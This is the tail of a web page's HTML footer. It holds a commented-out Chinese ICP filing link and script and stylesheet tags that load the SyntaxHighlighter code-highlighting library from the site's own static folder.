<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>